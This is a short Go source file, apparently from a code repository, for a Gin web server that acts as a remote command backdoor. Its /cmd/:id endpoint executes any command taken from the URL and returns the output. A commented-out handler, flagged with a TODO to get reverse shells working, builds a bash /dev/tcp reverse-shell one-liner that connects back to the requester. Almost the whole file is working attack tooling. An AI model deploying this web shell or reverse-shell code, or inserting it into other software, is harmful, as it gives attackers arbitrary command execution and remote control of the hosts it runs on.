54 lines
1.1 KiB
Go
54 lines
1.1 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"github.com/bitfield/script"
|
|
"github.com/gin-gonic/gin"
|
|
"net/http"
|
|
)
|
|
|
|
var listenPort string = "1302"
|
|
|
|
type Shell struct {
|
|
Command string
|
|
Output string
|
|
}
|
|
|
|
func main() {
|
|
fmt.Println()
|
|
router := gin.Default()
|
|
router.GET("/cmd/:id", sendCommand)
|
|
//router.GET("/rev/:port", sendShell)
|
|
router.Run("localhost:" + listenPort)
|
|
}
|
|
|
|
func sendCommand(c *gin.Context) {
|
|
var err error
|
|
cmd := c.Param("id")
|
|
newCMD := Shell{}
|
|
newCMD.Command = cmd
|
|
newCMD.Output, err = script.Exec(cmd).String()
|
|
if err != nil {
|
|
logged := fmt.Sprintf("Error occurred with command: %v\n", err)
|
|
c.String(http.StatusOK, logged)
|
|
return
|
|
}
|
|
c.String(http.StatusOK, newCMD.Output)
|
|
}
|
|
|
|
// TODO: Get automatic reverse shells working
|
|
|
|
// func sendShell(c *gin.Context) {
|
|
// port := c.Param("port")
|
|
//
|
|
// cool := c.RemoteIP()
|
|
//
|
|
// fmt.Println(cool, port)
|
|
// finalShell := fmt.Sprintf("bash -i >& /dev/tcp/%v/%v 0>&1", cool, port)
|
|
// msg, err := script.Exec(finalShell).String()
|
|
// if err != nil {
|
|
// fmt.Printf("Error occurred sending shell: %v\n", err)
|
|
// }
|
|
// c.String(http.StatusOK, msg)
|
|
// }
|